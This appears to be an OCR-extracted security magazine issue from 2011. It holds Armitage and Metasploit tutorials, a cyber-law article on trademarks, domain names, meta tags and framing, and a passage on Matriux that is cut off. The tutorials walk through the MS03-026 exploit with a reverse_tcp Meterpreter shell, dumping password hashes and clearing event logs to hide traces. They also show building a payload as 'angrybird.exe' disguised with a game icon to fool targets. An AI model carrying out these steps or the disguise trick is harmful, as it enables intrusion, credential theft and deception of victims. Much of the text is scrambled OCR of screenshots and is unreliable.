Armitage - The Ultimate Attack Platform for Metasploit

Hey Folks!

ClubHACK_{Mas}

Now! You have one more reasons to add Metasploit in your Pentest Toolkit. You just can't ignore Metasploit anymore just because it does not give you user interface like commercial frameworks available out there like Core Impact and Immunity Canvas.

I know most people think, that using Armitage makes them feel like a script kiddy. It may be so, but you just can't afford not to get your hands dirty on industry's Most Recognized and Most Respected Exploitation Framework i.e Metasploit. I am sure, when you have Armitage in your hands, you will definitely find some good reasons to love it.

Armitage:

To use Armitage, it is necessary to understand Metasploit. Metasploit is a command line tool. Anything you do in Armitage is translated into a command that Metasploit understands. To make it easier and funnier "**Raphael Mudge**" designed Armitage, which is a user interface for Metasploit.



Image Source: http://www.offensivesecurity.com/metasploit-unleashed/Armitage_Scanning

- Clubh ACKMas



255 \$

Armitage takes Metasploit's capabilities to a new level of ease with new features like:

- 1. Discovery
- 2. Access
- 3. Post Exploitation
- 4. Maneuver





Step 1: Discovery:

- Armitage provide several Host Management features available in Metasploit.
- You can import hosts and launch scans to buildup a database of possible targets and visualize them on the screen, working with visualizations is more interactive

when you right click on them and configures the options and settings according to your network environment.

Step 2: Assist:

- Armitage assists by providing features like automatically recommending exploits and even runs active checks so you know which exploits will work and which will not.
- If these options fail, you can use the Hail Mary approach and unleash the power of db_autopwn against your possible targets.

Step 3: Post Exploitation:

- Armitage provides several postexploitation tools built on the capabilities of the Meterpreter agent, so in a way it extends the capability of traditional Meterpreter.
- With the click of a menu you can escalate your privileges, dump password hashes to a local credentials database, browse the file system like local user, and launch command shells.

Step 4: Maneuver:

- Armitage aids the process of setting up pivots, a capability that lets you use compromised hosts as a platform for attacking other hosts and further investigating the target network which you may find only on commercial available exploit frameworks.
- Armitage also exposes Metasploit's SOCKS proxy module which allows external tools to take advantage of these pivots.



With these tools, you can further explore and maneuver through the network.

Armitage Prerequisites:

Armitage has the following prerequisites:

- Java 1.6.0+
- Metasploit 3.5+
- Armitage requires you to know the Username, Password, Hostname, and Database before connecting.

If you're on Windows, you're in luck, the Metasploit team sets up PostgreSQL for you. If you launch Metasploit on Windows, you do not need to provide database information when launching Armitage.

Note: Backtrack 5 includes Metasploit and Armitage by default and it is fully configured for immediate use.

Invoking Armitage:

- To invoke armitage you have to start the Metasploit RPC daemon first: cd /pentest/exploits/framework3
- And type
- ./msfrpcd -f -U msf -P test -t Basic This will start msfrpcd with the user msf, password test, SSL listener, on the default port 55553.
- Once you have a database, navigate to the folder containing the Armitage files and type: ./armitage.sh

Exploring Armitage User Interface:

The Armitage user interface has three main panels:

- Modules 1.
- Targets 2.
- Tabs 3.



Image Source: http://www.fastandfreehacking.com

Targets:

- The targets panel shows all hosts in the current workspace.
- Armitage represents each target as a computer with its IP address and other information about it below the computer.
- The computer screen shows the operating system the computer is running.



Image Source: http://www.fastandfreehacking.com



Modules:

• The modules panel lets you launch a Metasploit auxiliary module, throw an exploit, or generate a payload.

1.55

 Click through the tree to find the desired module. Double click the module to bring up a dialog with options.

Consoles:

- A console panel lets you interact with a command line interface through Armitage. The Metasploit console, Meterpreter console, and shell session interfaces all use a console panel.
- The console panel features a command history. Use the up arrow to cycle through previously typed commands. The down arrow moves back to the last command you typed.

Demonstration! (Operating System: Fedora 13)

Step 1: Go to terminal and change your directory where you have extracted Armitage and invoke Armitage using the following command:

./armitage:

m 😡	Connect 😸 🔿 😸
Host	127.0.0.1
Port	55553
🗹 Use SSL	
User	msf
Pass	test
D8 Driver	mysql 💌
DB Connect String	root:"ishan"@127.0.0.1/test ?
Conne	Start MSF E.

Step 2: click on the **?** Command button in front of connection string and enter your database credentials, as shown in the snapshot below:

2 0	DB Connect String Helper 🛛 🙁 🖉
D8 User	root
DB Pass	ishan
DB Host	127.0.0.1
D8 Name	test
	S_ Cancel

Step 3: After entering your correct database credentials, click on save and click connect, in order to connect the database. Press ok! And continue with Armitage GUI.

Step 4: Now, first task we need to perform is to discover the alive hosts on the network and for that go to HOSTS \rightarrow MsfScan and enter the network range, as showin in the snapshot below:

20	Input	8
0	Enter range (e.g. 19216810 19216811/24	/24):
	Cancel	ок

Discovery module launched successfully! And here you go; you can visually see the available machines on the network, as shown in the snapshot below:



Target Systems -

ClubHACK_{Mas}



Step 5: Go to Attacks \rightarrow Find Attacks \rightarrow "by port", as shown in the snapshot below:



Attack Analysis Completed as shown in the snapshot below:



. . .

Now, attack vectors will also be available in right click menu, as shown in the snapshot below:



Select your exploit and specify the settings for it and launch the exploit, as shown in the snapshot below:

n ()	Attack 1921681.4	000
Timbuktu <= 8.6.6 Plught	TCommand Named Pipe Buffer Overflow	
This module exploits a st pretty novel way. This exp stack data using the buffer supplying a large value for initial request with leaked	ack based buffer overflow in Timbuktu fro ver plot requires two connections. The first conner in overflow to overwrite the initiamber/DBytes in this argument it is possible to cause Timbul stack data. Using this data allows for reliable	rsion <= 8.6.6 in a ection is used to leak To/Write argument. By itu to reply to the exploitation of the
Option	* Value	
LHOST	192 168 1.42	
LPORT	11502	
RHOST	1921681.4	
RPORT.	445	
Targets: 0 => Automati	c Targeting 💌 ction ms	
	Launch	

Wooooaahhh!!! And here we go.....

Mission Accomplished!!



Keyboard shortcuts

Several keyboard shortcuts are available in the targets panel. You may edit these in the Armitage \rightarrow Preferences menu.

* 1.

1.5

- Ctrl Plus zoom in
- Ctrl Minus zoom out
- Ctrl o reset the zoom level
- Ctrl A select all hosts
- Escape clear selection
- Ctrl C arrange hosts into a circle
- Ctrl S arrange hosts into a stack
- Ctrl H arrange hosts into a hierarchy. This only works when a pivot is set up.
- Ctrl R refresh hosts from the database
- Ctrl P export hosts into an image

Note: If you have a lot of hosts, the graph view becomes difficult to work with. For this situation Armitage has a table view. Go to View \rightarrow Targets \rightarrow Table View to switch to this mode. Armitage will remember your preference.

	Address 🔺	Description	Pivot
	172.16.146.1		172.16.146.1
000	172.16.146.2		172.16.146.1
	172.16.146.14		172.16.146.1
8	172.16.146.15		172.16.146.1
	172.16.146.20		172.16.146.1
	172.16.146.149	NT AUTHORITY\SYSTEM @ ACME-14E429D2B5	172.16.146.1
	172.16.146.152		172.16.146
3	172.16.146.182		172.16.146.1
<u>.</u>	172.16.146.184	SSH msfadmin:msfadmin (172.16.146.184:22)	172.16.146
	172.16.146.185		172.16.146.1
Ļ	172.16.146.200		172.16.146.1
		Services	
		<u>H</u> ost	

Image Source: http://www.fastandfreehacking.com

References for this article:

- 1. <u>http://www.fastandeasyhacking.co</u> <u>m/manual#2</u>
- 2. <u>http://www.offensive-</u> <u>security.com/metasploit-</u> <u>unleashed/Armitage_Setup</u>



Ishan Girdhar

Ishan Girdhar working as an Information Security consultant. Ishan loves exploring different linux distributions. He is currently working with AKS IT Services Pvt. Ltd Noida.

Mom's GUIDE



Penetration Testing with Metasploit Framework

Introduction

ClubHACK_{Mass}

When i say "Penetration Testing tool" the first thing that comes to your mind is the world's largest Ruby project, with over 700,000 lines of code 'Metasploit'. No wonder it has become the de-facto standard for penetration testing and vulnerability development with more than one million unique downloads per year and the world's largest, public database of quality assured exploits.

The Metasploit Framework is a program and sub-project developed by Metasploit LLC. It was initially created in 2003 in the Perl programming language, but was later completely re-written in the Ruby Programming Language. With the most recent release (3.7.1) Metasploit has taken exploit testing and simulation to a complete new level which has muscled out its high priced commercial counterparts by increasing the speed and lethality of code of exploit in shortest possible time.

Working with Metasploit

Metasploit is simple to use and is designed with ease-of-use in mind to aid Penetration Testers. I will be taking you through this demo in BackTrack 5, so go ahead and download that if you don't already have it http://www.backtrack-

linux.org/downloads/. The reason for using BackTrack 5 is because it has the correct Ruby Libraries.

Metasploit framework has three work environments, the msfconsole, the msfcli interface and the msfweb interface. However, the primary and the most preferred work area is the 'msfconsole'. It is an efficient command-line interface that has its own command set and environment system.

Before executing your exploit, it is useful to understand what some Metasploit commands do. Below are some of the commands that you will use most. Graphical explanation of their outputs would be given as and when we use them while exploiting some boxes in later part of the article.

i) search <keyword>: Typing in the command 'search' along with the keyword lists out the various possible exploits that have that keyword pattern.

ł

1.5

- ii) show exploits: Typing in the command 'show exploits' lists out the currently available exploits. There are remote exploits for various platforms and applications including Windows, Linux, IIS, Apache, and so on, which help to test the flexibility and understand the working of Metasploit.
- iii) show payloads: With the same 'show' command, we can also list the payloads available. We can use a 'show payloads' to list the payloads.
- iv) show options: Typing in the command 'show options' will show you options that you have set and possibly ones that you might have forgotten to set. Each exploit and payload comes with its own options that you can set.
- v) info <type> <name>: If you want specific information on an exploit or payload, you can use the 'info' command. Let's say we want to get complete info of the payload 'winbind'. We can use the command 'info payload winbind'.
- vi) use <exploit_name>: This command tells Metasploit to use the exploit with the specified name.
- vii) set RHOST <hostname_or_ip>: This command will instruct Metasploit to target the specified remote host.
- viii) set RPORT <host_port>: This command sets the port that Metasploit will connect to on the remote host.

- ix) Set PAYLOAD
 <generic/shell_bind_tcp>: This
 command sets the payload that is
 used to exploit the target will give
 you a shell when a service is
 - exploited.
- x) set LPORT <local_port>: This command sets the port number that the payload will open on the server when an exploit is exploited. It is important that this port number be a port that can be opened on the server (i.e.it is not in use by another service and not reserved for administrative use), so set it to a random 4 digit number greater than 1024, and you should be fine. You'll have to change the number each time you successfully exploit a service as well.
- xi) exploit: Actually exploits the service. Another version of exploit, rexploit reloads your exploit code and then executes the exploit. This allows you to try minor changes to your exploit code without restarting the console.
- xii) help: The 'help' command will give you basic information of all the commands that are not listed out here.

Now that you are ready with all the basic commands you need to launch your exploit, let's choose a couple of scenarios to get control of a remotely connected machine.

Scenario:

Victim Machine:-

OS: Microsoft Windows Server 2003 **IP:** IP: 192.168.42.129

Attacker (Our) Machine:-

OS: Backtrack 5

Kernel version: Linux bt 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux

Metasploit Version: Built in version of metasploit 3.8.0-dev **IP:** 192.168.42.128

Objective:-

The only information provided to us about the remote server is that it is a Windows 2003 Server and the Objective is to gain shell access of this remote server.

Detailed Steps:

Step 1:

Perform an Nmap scan of the remote server 192.168.42.129.

The output of the Nmap scan shows us a range of ports open which can be seen below in Figure 1.



Figure 1

Step 2:

In your copy of BackTrack, go to:

Application \rightarrow BackTrack \rightarrow Exploitation Tools \rightarrow Network Exploitation Tools \rightarrow Metasploit Framework \rightarrow msfconsole

During the initialization of msfconsole, standard checks are performed. If everything works out fine we will see the display as shown in Figure 2.

	######	#####	##		###		#####			##		#	#####				
										-					-	-	
	#####				###									1			
			####	###									#				
	######				###												
 	=[meta -=[696 -=[224 =[svn	exploi explo paylo r1293	t v3 its ads) upo	. 8. (- 35 - 27 date	9-dev 58 aux 7 enco ed 9 ((xi) ode day	core:3 liary ers - 1 ys ago	.8 api - 51 p 3 nops (2011	:1.0] ost .06.12	2)	.+		undator				
arnin	=[meta -=[696 -=[224 =[svn g: This We re For t	exploi paylo r1293 copy copy inform	t v3 its - ads -) upo of th ation	.8.(- 35 - 27 date ne l nat	9-dev 58 au 7 enco ed 9 o Metasp you o 1 upda	[c xil ode day plc upc ati	core:3 liary ers - 5 ys ago pit Fra date ti ing yo	.8 api - 51 p 3 nops (2011 amewor ne fra ur cop	:1.0] ost .06.12 k was mework y of M	la:	st	ule	pdatec ast ev oit, p	l 9 d ery leas	avs other a see	go. day	
arnin	=[meta -=[696 -=[224 =[svn g: This We re For 1	asploi explo paylo r1293 copy copy inform itp://	t v3 its - ads - 0 upo of th nd th ation	.8.(- 35 - 27 date ne l nat nor .met	9-dev 58 aux 7 enco ed 9 d Metasy you n you n upda tasplo	[d xil ode day plo upo ati	core:3 liary ers - 4 ys ago bit Fr. date t ing you t.com/	.8 api - 51 p 3 nops (2011 amewor ne fra ur cop redmir	:1.0] ost .06.12 k was mework y of M e/proj	2) La: let: ec:	st t as	u le pl	pdatec ast ev oit, p	l 9 d Jery Jeaso Jeaso	ays other see iki/U	go. day pdat	ing

Figure 2

Step 3:

Now, we know that port 135 is open so, we search for a related RPC exploit in Metasploit. To list out all the exploits supported by Metasploit we use the "show exploits" command. This exploit lists out all the currently available exploits.

As you may have noticed, the default installation of the Metasploit Framework 3.8.0-dev comes with 696 exploits and 224 payloads, which is quite an impressive stockpile thus finding a specific exploit from this huge list would be a real tedious task. So, we use a better option. You can either visit the link

Clubh ACKA

http://metasploit.com/modules/ or another alternative would be to use the "search <keyword>" command in Metasploit to search for related exploits for RPC.

1.55

In msfconsole type "search dcerpc" to search all the exploits related to dcerpc keyword as that exploit can be used to gain access to the server with a vulnerable port 135. A list of all the related exploits would be presented on the msfconsole window and this is shown below in Figure 3.

File Edit View Terminal Help			
<u>usf</u> > search dcerpc			
Matching Modules			
Name	Disclosure Date	Rank	Description
auxiliary/scamer/dcerpc/endpeint mapper auxiliary/scamer/dcerpc/hidden auxiliary/scamer/dcerpc/managent auxiliary/scamer/dcerpc/managent auxiliary/scamer/sub/pige dcerpc auxilor auxiliary/scamer/sub/pige dcerpc auxilor auxiliary/scamer/sub/pige dcerpc auxilor auxiliary/scamer/sub/pige dcfr auxiliary/scamer/sub/pige exploit/windows/brightsofr/tage engine exploit/windows/brightsofr/tage engine exploit/windows/dcerpr/sm35 dc37 senq exploit/windows/dcerpr/sm35 dc55 senq exploit/windows/dcerpr/sm35 dc55 senq exploit/windows/smb/ms84 811 lisss exploit/windows/smb/ms84 811 lisss	2006-11-21 2010-10-94 2003-07-16 2005-04-12 2007-04-12 2007-12-11 2007-12-11 2007-12-11 2008-10-28	normal normal normal normal normal average great good great good great	Endpoint Mapper Service Discovery Hidden DCRPC Service Discovery DCRPC (TP Service Discovery DCRPC (TP Service Auditor SMB Session Pipe DCRPC Auditor SMB Session Pipe DCRPC Auditor SMB Comain User Enumeration CA Brightster ARCerve Tage Engine Buffer Overflow Aicrobit RR Local Tuter Tage Engine Buffer Overflow Aicrobit RR Local Tuter Tage Engine Math Buffer Overflow Aicrobit RR Coll Tuter Tage Engine Math Buffer Overflow Microsoft RR Segue Outering Service Pth Overflow Microsoft Bis RPC Service extractuotedChar() Overflow (TCP) Microsoft Server Service BisRolerUpgradeDomlevelServer Overflow Microsoft Server Service Relative Path Stack Corruption
115f >			

Figure 3

Step 4:

Now that you have the list of rpc exploits in front of you, we would need more information about the exploit before we actually use it. To get more information regarding the exploit you can use the command "info exploit/windows/dcerpc/ms03_026_ dcom" which provides information such as available targets, exploit requirements, details of vulnerability itself, and even references where you can find more information.

Step 5:

The command "use <exploit_name>" activates the exploit environment for the exploit <exploit_name>. In our case we would use the command "use exploit/windows/dcerpc/ms03_026_ dcom" to activate our exploit.

File Edit View Terminal Help

<u>msf</u> > use exploit/windows/dcerpc/ms03_026_dcom <u>msf</u> exploit(<mark>ms03_026_dcom</mark>) >

Figure 4

From the above figure it is noticed that, after the use of the exploit "exploit/windows/dcerpc/ms03 026 dcom" the prompt changes from "msf>" to "msf exploit(ms03 026 dcom) >" which symbolizes that we have entered a temporary environment of that exploit.

Step 6:

Now, we need to configure the exploit as per the need of the current scenario. The "show options" command displays the various parameters which are required for the exploit to be launched properly. In our case, the RPORT is already set to 135 and the only option to be set is RHOST which can be set using the "set RHOST" command.

We enter the command "set RHOST 192.168.42.129" and we see that the RHOST is set to 192.168.42.129.

File Edit View Terminal He	lp	
<pre>msf exploit(ms03_026_dcom</pre>) > show op	otions
Module options (exploit/w	/indows/dcer	pc/ms03_026_dcom):
Name Current Setting	Required	Description
RHOST RPORT 135	yes ves	The target address The target port
Exploit target:	ha	ack
Id Name		
0 Windows NT SP3-6a/	2000/XP/200)3 Universal
<u>msf</u> exploit(<mark>ms03_026_dcom</mark> RHOST => 192.168.42.129) > set RHC	OST 192.168.42.129
<u>msf</u> exploit(ms03_026_dcom) >	

Figure 5

Step 7:

ClubHACK_{Max}

The only step remaining now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the "show payloads" command.

As shown in the below figure, "show payloads" command will list all payloads that are compatible with the selected exploit.



Figure 6

For our case, we are using the reverse tcp meterpreter which can be set using the command, "set PAYLOAD windows/meterpreter/reverse_tcp" which spawns a shell if the remote server is successfully exploited. Now again you must view the available options using "show options" to make sure all the compulsory sections are properly filled so that the exploit is launched properly.

ile Edit View Terminal Help sf exploit(ms03_026_dcom) > show options odule options (exploit/windows/dcerpc/ms03 026 dcom): Current Setting Required Description 192, 168, 42, 129 The target address target port ayload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description EXITFUNC thread Exit technique: seh thread, process, nor I PORT xploit target: Td Name Windows NT SP3-6a/2000/XP/2003 Universal exploit(ms03

Figure 7

We notice that the LHOST for out payload is not set, so we set it to out local IP ie. 192.168.42.128 using the command "set LHOST 192.168.42.128".

Step 8:

Now that everything is ready and the exploit has been configured properly its time to launch the exploit.

You can use the "check" command to check whether the victim machine is vulnerable to the exploit or not. This option is not present for all the exploits but can be a real good support system before you actually exploit the remote server to make sure the remote server is not patched against the exploit you are trying against it.

Clubhack_{Mas}

In our case as shown in the Figure below, our selected exploit does not support the check option. [Figure 8]

1.5

¥

File	Edit View Terminal Help	
nsf	exploit(ms03_026_dcom) > check	
[*]	This exploit does not support check.	
nsf	exploit(ms03_026_dcom) >	

Figure 8

The "exploit" command actually launches the attack, doing whatever it needs to do to have the payload executed on the remote system.



Figure 9

The above figure shows that the exploit was successfully executed against the remote machine 192.168.42.129 due to the vulnerable port 135. This is indicated by change in prompt to "meterpreter >".

Step 9:

Now that a reverse connection has been setup between the victim and our machine, we have complete control of the server. We can use the "help" command to see which all commands can be used by us on the remote server to perform the related actions.

Below are the results of some of the meterpreter commands:-

- "ipconfig" prints the remote machines all current TCP/IP network configuration values
- "getuid" prints the server's username to he console.
- "hashdump" dumps the contents of the SAM database.
- "clearev" can be used to wipe off all the traces that you were ever on the machine.

Thus we have successfully used Metasploit framework to break into the remote Windows 2003 server and get shell access which can be used to control the remote machine and perform any kind of operations as per our wish.

Potential Uses of the Metasploit Framework:

1) Metasploit can be used during penetration testing to validate the reports by other automatic vulnerability assessment tools to prove that the vulnerability is not a false positive and can be exploited. Care has to taken because not only does it disprove false positives, but it can also breaks things.

2) Metasploit can be used to test the new exploits that come up nearly every day on your locally hosted test servers to understand the effectiveness of the exploit.

3) Metasploit is also a great testing tool for your intrusion detection systems to test whether the IDS is successful in preventing the attacks that we use to bypass it.

Conclusions:

This article provided a high-level introduction to using Metasploit to provide a generic overview of your system's vulnerabilities and this knowledge along with some more research can help you create your own exploits and perform Penetration Testing like never before.



Dinesh Shetty

Dinesh Shetty is currently working as a Information Security Consultant with Paladion Networks. Dinesh is an Computer engineer from Ramrao Adik Institute of Technology and also a EC-Council Certified Ethical Hacker.

ClubHACK_{Mag}

Issue 18 – July 2011 | Page -



Trademark Law and Cyberspace

A Trademark is a mark used by an individual or business organization which represents trade or business and which is capable of distinguishing goods or services from that of others.

A trademark is typically a name, word, phrase, logo, symbol, design, image, or a combination of these elements. There is also a range of non-conventional trademarks comprising marks which do not fall into these standard categories, such as those based on color, smell, or sound.

A trademark may be designated by the following symbols:

• TM (for an unregistered trade mark, that is, a mark used to promote or brand goods)

- SM (for an unregistered service mark, that is, a mark used to promote or brand services)
- (R) (for a registered trademark)

Trademark law and Cyberspace involves following issues:-

- Domain name
- Meta tags
- Framing
- Deep Hyper linking

Domain

We have already read domain name dispute related issues in October-2010 issue, so I am not going to cover the same in this issue.

However, I have latest decided case on the same issue which I would like to share with you.

M/s.Karnataka Bank Limited v/s ELI/Shoval

Complainant: - M/s.Karnataka Bank Limited.

Respondent: - ELI/Shoval.

ClubHACK

The disputed domain name: www.karnatakabank.in

Complainant's contentions:-

The Complainant is the owner of the figurative trade mark(s) "Karnataka Bank" throughout in India, and the Complainant has registered, and operates globally a number of websites using its trademark 'Karnataka Bank' in Generic and Country Code Top Level Domain Name Extensions(gTLD and ccTLD), such as,

www.ktkbank.com www.thekarnatakabankltd.com www.karnatakabankltd.com www.karnatakabank.net www.karnatakabank.org www.karnatakabank.info www.karnatakabank.co.in www.ktkbank.in www.ktkbank.net www.ktkbank.co.in www.ktkbank.co www.karnatakabankonline.com www.karnatakabank.net.in www.ktkbankltd.com www.karanatakabank.com www.moneyclick.karnatakabank.co.in

and such registration of domain names are still valid and in force.

The Domain Name is identical or confusingly similar to:-

- Trademark or service mark of the Complainant has rights and
- Respondent has no rights or legitimate interests in the domain name

Respondent's contentions:-

inter - alia that no evidence of any trademark rights were attached to the compliant and the complainant was called upon to produce evidence that the term "Karnataka Bank" is a registered trademark; the respondent registered many Generic domains related to India (mainly in area of tourism, travel, jobs etc.,) with no intention to infringe on any existing trademark, the respondent assumed that "Karnataka Bank" is pure generic term just like "Karnataka jobs" or "Karnataka hotel" or "Karnataka property".

Findings:-

1. The Respondent's domain name is identical or confusingly similar to a trademark or service mark in which the Complainant has rights.

2. The Respondent has no rights or legitimate interest in respect of the domain name; and

3. The Respondent's domain name has been registered or is being used in bad faith.

4. Hence, domain should be given back to the complainant.

Meta tags:

Meta tags are codes contained within websites that provide a description of the website. Let us take the illustration of the Asian School of Cyber Laws (ASCL) website.

Clubhack

When a student visits www.asianlaws.org, he sees the normal website of ASCL.

1.5

<**META content=**"Education, training, consultancy and research in

Cyber laws, cybercrime investigation and cyber forensics" **name=description**>

<**META content=**"education, training, consultancy, research,

cyber laws, cyber laws, cyber law, cyber law, cybercrime investigation,

cybercrime investigation, cyber forensics"

name=keywords>

These tags are embedded in the source code of the website. They are put so that search engines (e.g. google.com, yahoo.com etc.) can accurately identify what the website relates to.

As can be seen in the illustrations above:-

The description tag contains a description of the web page.
 The keywords tag contains relevant associated keywords.

When a user searches for "Asian School of Cyber Laws" in google.com, the first search result clearly contains the description of the ASCL website as per the description tag.

Trademark disputes can arise when someone's trademark is put by his rival in the Meta tags of the rival website. Sameer sells PDF creator software that rivals the PDF creator sold by Adobe. If Sameer writes the words "Adobe" in the Meta tags of his website, then the search engines may mistakenly index Sameer's website as being related to Adobe. Web users looking for Adobe software may get diverted to Sameer's website.

The act of putting Meta tags of rival companies and brands in a website is also referred to as Cyber Stuffing.

Framing

A webpage can be divided into several frames. Each frame can display different content.

Let's take a simple illustration. Sameer provides commercial consultancy in the field of information security. He puts up a website and one of the pages is illustrated below:-

Welcome to Sameer's website.

This is a one stop solution for your information security needs. Please use the links below:

RSA Algorithm and Encryption RSA Algorithm and Digital Signatures The Blowfish Algorithm The IDEA Algorithm The Secure Hash Algorithm Skipjack



Sameer's Information Security Website

Frame - 2

When a user clicks on the link "RSA Algorithm and Encryption" in Frame 1 above, a document from the Tech Juris Law Consultant's (Tech Juris) website opens up in Frame 2.

See illustration below:-

 $\sim 10^{-10}$ M_{\odot}

ClubHACK_{Nes} Welcome to Sameer's For example Sameer website. Asian School of Cyber Laws ASCL-WP-IS-Tec-Algo-01 Tech Juris Ē could put the following This is a one stop solution for your nformation security needs. Please use the disclaimer next to the 66 The RSA public-key encryption algorithm works in the following manner links below: Generation of a public-private key pair. Encryption of a message (plain text) with the public key generated in step 1 to get the cipher-text. Decryption of the cipher-text by using the private key of the corresponding public key generated in step 1. link to Tech Juris's A Algorithm and Encryption RSA Algorithm and Digital Signatures The Blowfish Algorithm webpage. The IDEA Algorithm Step 1: Generation of a key pair The Secure Hash Algorithm Skipjack Select two large integer primes p and q. Multiply p and q to get a number n. This link leads to i.e., $\mathbf{pq} = \mathbf{n}$. content on the website Obtain \$\oplus\$ which is the product of p-1 and q-1 of Tech Juris. i.e. $\phi = (p-1)(q-1)$ Select e such that 1≤e≤φ and gcd of e and φ is 1 The homepage of Tech Juris is at http://www.techjuris.com/ Sameer has no business or other association Frame - 1 Frame - 2

To an ordinary user it may appear that the RSA Algorithm and Encryption document is a part of Sameer's website. In reality this document is being accessed from Tech Juris's website and being opened up in a frame on Sameer's website.

Clicking on the other links opens up different web pages in Frame 2 while the content in Frame 1 remains the same.

Such framing may give rise to a claim for passing off as an ordinary user may infer a business association between Sameer and Tech Juris. In reality, there is no business association between Sameer and Tech Juris.

ASCL can claim that Sameer has indulged in misleading and deceptive conduct.

It is advisable to put a suitably worded disclaimer or acknowledgment which clearly informs the visitor about the relationship between the two sites (Sameer's and Tech Juris's in this case).

with ASCL and has provided this link purely for information.

Deep Hyper linking

Simply, put hyperlink is a reference to a webpage or document on the Internet. Let us consider the courses page on the Asian School of Cyber Laws (ASCL) website.

This page is located at http://www.asianlaws.org/courses/index.ht m

The above webpage consists of several links to other web pages e.g. if a user clicks on the "Diploma in Cyber Law" link, he will be taken to the page containing details of the

SlubHACK_{Mas}

Diploma in Cyber Law course. To a user the link appears as "Diploma in Cyber Law"

1.55

In the source code of the website, the link appears as:-

<ahref=http://www.asianlaws.org/courses/ dcl/index.htm> Diploma in Cyber Law

Normally, no organization or person objects if someone puts a hyperlink to their homepage. The objection comes when someone puts a link directly to an inner page or document.

For example, ASCL would not object if someone provides a link to the ASCL homepage (http://www.asianlaws.org/index.htm).

However, if someone provides a link to a document "deep" in the ASCL website, then ASCL may have an objection.

Suppose Sameer puts a hyperlink in his website named "RSA Algorithm".

On clicking this link, the ASCL sponsored whitepaper on the topic opens up from <u>http://www.asianlaws.org/infosec/library/a</u> <u>lgo/rsa_asym.pdf</u>

This is called Deep Hyper-Linking.

Deep hyper-linking may give rise to a claim for passing off as an ordinary user may infer a business association between Sameer and ASCL. In reality there is no business association between Sameer and ASCL. ASCL can claim that Sameer has indulged in misleading and deceptive conduct It is advisable to put a suitably worded disclaimer or acknowledgment which clearly informs the visitor about the relationship between the two sites (Sameer's and ASCL's in this case). For example Sameer could put the following disclaimer next to the link to ASCL's webpage.

This link leads to content on the website of Asian School of Cyber Laws (ASCL). The homepage of ASCL is at www.asianlaws.org

Sameer has no business or other association with ASCL and has provided this link purely for information.



Sagar Rahurkar sr@asianlaws.org

Sagar Rahurkar, a Law graduate, is Head(Maharashtra) at Asian School of Cyber Laws. Sagar specializes in Cyber Law, Intellectual Property Law and Corporate Law. Sagar also teaches law at numerous educational institutes and has also trained officials from various law enforcement agencies.





+ -- --=[msfconsole v2.3 [66 exploits - 69 payloads] msf ≥

The Exploitation Ka Baap MSF

ClubHACK_{Max}

After a series of Forensic articles we would like to go with the theme of this month which is Metasploit Framework.

About Metasploit Framework

Metasploit is a single most powerful open source tool available today for penetration testers. It can be used for developing and executing exploit code against remote target machine. It has a very famous and widely used penetration tester's choice.

Metasploit Framework has 4 interfaces to work with

- 1. MSF command line
- 2. MSF console
- 3. MSF GUI
- 4. Armitage (recently included along with the framework)

There was also a web based version, which later became obsolete since it was buggy. Msfconsole is the most widely used and powerful mode of metasploit framework.

Metasploit in Matriux:

Metasploit framework is found in Matriux Arsenal under Menu > Arsenal > Framework > Metasploit Framework.



Optionally it can be started from the terminal by typing msfconsole or msfgui based on what you prefer.

Image: Second	antivirus arkeia backdoor backdoor brightstor browser browser dcerpc ddriver ddriver ddriver frewall games frewall games http games http license blotus license blotus license browser http license blotus http http	ry Post-Exploit <u>Co</u> Vulns Events mysql nfs nntp noracle postgres sip sip sip sip sip sip sip sip telnet tftp unicenter vnc vnc vnc vnc vnc sip si	ms03_049_netapi ms04_007_kilibili ms04_011_kass ms04_031_netdde ms05_039_pnp ms06_025_rras ms06_040_retapi ms06_066_nwwks ms06_029_ms4ssc ms07_029_ms4ssc ms07_029_ms4ssc ms07_029_ms4ssc ms08_067_netapi ms08_065_sec ms10_061_spoolss netidentity_kiterrcpipe psexec smb_relay timbuktu_plughntcommand_bof	57 nost modules
la 🗑 🗑 🙆		_	Fri Jul	1, 12:53 🚺 🖃



This is how typically the Graphical interface looks like.

1.55

However we would like to proceed with the msfconsole which I suggest is an extensive mode for using metasploit framework. In this issue, we will have a brief article on metasploit multi/hander exploit using a meterpreter payload of reverse_tcp.

Start metasploit framework by typing "msfconsole" in the terminal and also type "msfupdate" to update the framework.

🔳 root@matriux: /home/matriux		- • ×						
root@matriux: /	home/matriux 80x24							
11:44 root@matriux matriux# msfupdate		^						
[*]								
[*] Attempting to update the Metasploit Framework								
[*]								
At revision 13079.								
11:45 root@matriux matriux# mstconsole								
##								
## ## #### ###### ##### #####		***						
######## ## ## ## ## ##								
## # ## ## ## ## ## ## #####								
## ## #### ### ###### ###### ##								
##								
<pre>= metasploit v3.8.0-dev [core:3.8</pre>	B ap1:1.0]							
+=l 707 exploits - 359 auxiliary -	57 post							
+=L 225 payloads - 27 encoders - 8	nops							
=[SVN P13079 updated today (2011	.06.30)							
mef >		3						
		•						

Now to start with multi/handler we have to generate the exe bound with reverse_tcp of meterpreter, that we would share with the target windows machines to exploit them. Open up a new terminal and type:

"msfpayload windows/meterpreter/reverse_tcp LHOST= x.x.x.x LPORT = 1080 X > /home/matriux/angrybird.exe" LHOST => Local HOST IP LPORT = port to listen

root@matriux: /home/matriux: /home/matriux 80x24
root@matriux: /home/matriux 80x24
11:53 root@matriux matriux# msfpayload windows/meterpreter/reverse_tcp LHOST=192 ^
.168.56.102 LPORT=1080 X > /home/matriux/angrybird.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: {"LHOST"=>"192.168.56.102", "LPORT"=>"1080"}
11:53 root@matriux matriux#

This will generate an angrybird.exe file in the HOME directory as shown here. This file is to be shared with the target machines that we intend to exploit (you can fool your target by changing the icon of the exe file generated and make it look like an angry bird game file ;))

After sharing the file with the target, we wait for the execution of that file. Meanwhile we start the reverse_tcp handler in our system. After starting msfconsole we start the metasploit process by "use multi/handler". And set the payload by typing "set payload windows/meterpreter/reverse_tcp"

	root@matriux: /h	home/matriux 80x24		
11:55 roo	ot@matriux matriux# msfconsole			^
			Y8P888	
	38bd88b. 888888 8888bd8888			
	88888888888888888888888888888888888888			
	888Y8b. Y88b. 888 888 X	aseese deepeeeyee	88P888Y88b.	
	888 "Y8888 "Y888"Y888888 88888			
